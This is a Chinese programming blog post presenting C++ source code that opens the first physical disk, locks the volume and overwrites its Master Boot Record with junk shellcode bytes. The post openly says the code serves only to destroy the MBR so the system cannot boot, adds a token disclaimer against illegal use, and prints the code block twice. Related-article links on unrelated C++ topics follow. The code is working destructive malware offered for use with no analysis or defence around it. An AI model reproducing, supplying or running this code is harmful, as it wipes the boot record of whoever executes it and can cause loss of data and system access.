C++破壞MBR的代碼
更新時間:2014年10月12日 11:36:13 投稿:shichen2014
這篇文章主要介紹了C++破壞MBR的代碼,涉及到對硬盤的主引導(dǎo)記錄的破壞性操作,具有一定的參考價值,需要的朋友可以參考下
本文實例講述了C++破壞MBR的代碼,該源碼只有破壞作用,使系統(tǒng)無法進(jìn)入。僅供大家參考借鑒之用。請勿用于非法目的。
源碼來源于網(wǎng)上。具體代碼如下:
復(fù)制代碼 代碼如下:
#include <Windows.h>
#include <stdio.h>
//shellcode隨便寫了點 能破壞MBR,無法進(jìn)入系統(tǒng)
unsigned char scode[]=
"\xb8\x12\x00"
"\xcd\x10\xbd"
"\x18\x7c\xb9";
DWORD writeMBR()
{
DWORD dwBytesReturned;
BYTE pMBR[512]={0};
//將破壞代碼寫入變量pMBR
memcpy(pMBR, scode, sizeof(scode));
pMBR[510]=0x55;
pMBR[511]=0xaa;
//打開物理磁盤
HANDLE hDevice = CreateFile("\\\\.\\PhysicalDrive0", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE)
{
printf("createfile failed...");
return -1;
}
//鎖定卷,使用FSCTL_LOCK_VOLUME時,以下有幾個參數(shù)設(shè)為NULL,0;
/*Parameters
hDevice
A handle to the volume to be locked. To retrieve a device handle, call the CreateFile function.
dwIoControlCode
The control code for the operation. Use FSCTL_LOCK_VOLUME for this operation.
lpInBuffer
Not used with this operation; set to NULL.
nInBufferSize
Not used with this operation; set to zero.
lpOutBuffer
Not used with this operation; set to NULL.
nOutBufferSize
Not used with this operation; set to zero.
lpBytesReturned
A pointer to a variable that receives the size of the data stored in the output buffer, in bytes. */
DeviceIoControl(hDevice, FSCTL_LOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL);
//寫入磁盤文件
WriteFile(hDevice, pMBR, 512, &dwBytesReturned, NULL);
DeviceIoControl(hDevice, FSCTL_UNLOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL);
return 0;
}
int main(int argc, char* argv[])
{
writeMBR();
return 0;
}
#include <stdio.h>
//shellcode隨便寫了點 能破壞MBR,無法進(jìn)入系統(tǒng)
unsigned char scode[]=
"\xb8\x12\x00"
"\xcd\x10\xbd"
"\x18\x7c\xb9";
DWORD writeMBR()
{
DWORD dwBytesReturned;
BYTE pMBR[512]={0};
//將破壞代碼寫入變量pMBR
memcpy(pMBR, scode, sizeof(scode));
pMBR[510]=0x55;
pMBR[511]=0xaa;
//打開物理磁盤
HANDLE hDevice = CreateFile("\\\\.\\PhysicalDrive0", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE)
{
printf("createfile failed...");
return -1;
}
//鎖定卷,使用FSCTL_LOCK_VOLUME時,以下有幾個參數(shù)設(shè)為NULL,0;
/*Parameters
hDevice
A handle to the volume to be locked. To retrieve a device handle, call the CreateFile function.
dwIoControlCode
The control code for the operation. Use FSCTL_LOCK_VOLUME for this operation.
lpInBuffer
Not used with this operation; set to NULL.
nInBufferSize
Not used with this operation; set to zero.
lpOutBuffer
Not used with this operation; set to NULL.
nOutBufferSize
Not used with this operation; set to zero.
lpBytesReturned
A pointer to a variable that receives the size of the data stored in the output buffer, in bytes. */
DeviceIoControl(hDevice, FSCTL_LOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL);
//寫入磁盤文件
WriteFile(hDevice, pMBR, 512, &dwBytesReturned, NULL);
DeviceIoControl(hDevice, FSCTL_UNLOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL);
return 0;
}
int main(int argc, char* argv[])
{
writeMBR();
return 0;
}
希望本文所述對大家的C++程序設(shè)計有所幫助。
相關(guān)文章
ubuntu系統(tǒng)vscodeC++編譯環(huán)境配置與使用方式
這篇文章主要介紹了ubuntu系統(tǒng)vscodeC++編譯環(huán)境配置與使用方式,具有很好的參考價值,希望對大家有所幫助。如有錯誤或未考慮完全的地方,望不吝賜教2022-12-12
C++11系列學(xué)習(xí)之可調(diào)用對象包裝器和綁定器
這篇文章主要介紹了C++11系列學(xué)習(xí)之可調(diào)用對象包裝器和綁定器,下文基于C++的相關(guān)資料展開詳細(xì)內(nèi)容介紹,具有一定的參考價值,需要的小伙伴可以參考一下2022-04-04
關(guān)于C++靜態(tài)成員函數(shù)訪問非靜態(tài)成員變量的問題
靜態(tài)成員函數(shù)不能訪問非靜態(tài)成員,這是因為靜態(tài)函數(shù)屬于類而不是屬于整個對象,靜態(tài)函數(shù)中的 member可能都沒有分配內(nèi)存。靜態(tài)成員函數(shù)沒有隱含的this自變量。所以,它就無法訪問自己類的非靜態(tài)成員2013-10-10
VS報錯C6011的問題:取消對NULL指針的引用(解決方法)
這篇文章主要介紹了VS報錯C6011的問題:取消對NULL指針的引用(解決方法),C6011:取消對NULL指針的引用,發(fā)現(xiàn)是沒有進(jìn)行空指針的判斷,解決方案跟隨小編一起看看吧2024-01-01

